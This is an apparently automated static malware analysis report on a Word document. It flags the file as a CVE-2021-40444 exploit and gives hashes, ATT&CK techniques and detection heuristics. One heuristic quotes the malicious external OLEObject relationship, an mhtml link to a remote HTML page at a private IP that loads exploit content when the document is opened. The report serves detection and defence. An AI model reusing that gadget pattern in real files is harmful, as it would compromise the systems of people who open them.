Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 c7073b7fc18b3ec2…

MALICIOUS

Office (OOXML) / .DOCX

12.8 KB Created: 2013-10-31 15:25:00 UTC Authoring application: Microsoft Office Word 16.0000
MD5: 55e7660d9b21ba07fc34630d49445030 SHA-1: 747036ffa0308a95ad07215e725c20c27d805828 SHA-256: c7073b7fc18b3ec20e476a7375e2a6695d273f671917a6627430e59534d3a138
160 Risk Score

Malware Insights

MITRE ATT&CK
T1204 Malicious Link T1566 Phishing T1059 Command and Scripting Interpreter

The file is identified as malicious due to critical heuristic firings indicating an exploit for CVE-2021-40444, involving an external OLEObject gadget. This exploit is linked to an external URL, http://192.168.112.128/word.html, which is likely used to load malicious content or redirect the user. The presence of this exploit suggests the document is designed to compromise the user's system upon opening.

Heuristics 4

  • External OLEObject gadget — CVE-2021-40444 critical CVE exact CVE_2021_40444
    External relationship to mhtml:http://192.168.112.128/word.html!x-usc:http://192.168.112.128/word.html — exploitable external OLEObject gadget pattern for CVE-2021-40444
  • ClamAV: Doc.Exploit.CVE_2021_40444-9891528-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.CVE_2021_40444-9891528-0
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: mhtml:http://192.168.112.128/word.html!x-usc:http://192.168.112.128/word.html
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas
    • http://schemas.microsoft.com/office/drawing/2014/chartex
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartex
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartex
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartex
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/drawing/2016/ink
    • http://schemas.microsoft.com/office/drawing/2017/model3d
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/officeDocument/2006/math
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing
    • http://schemas.openxmlformats.org/wordprocessingml/2006/main
    • http://schemas.microsoft.com/office/word/2010/wordml
    • http://schemas.microsoft.com/office/word/2012/wordml
    • http://schemas.microsoft.com/office/word/2016/wordml/cid
    • http://schemas.microsoft.com/office/word/2015/wordml/symex
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroup
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInk
    • http://schemas.microsoft.com/office/word/2006/wordml
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShape

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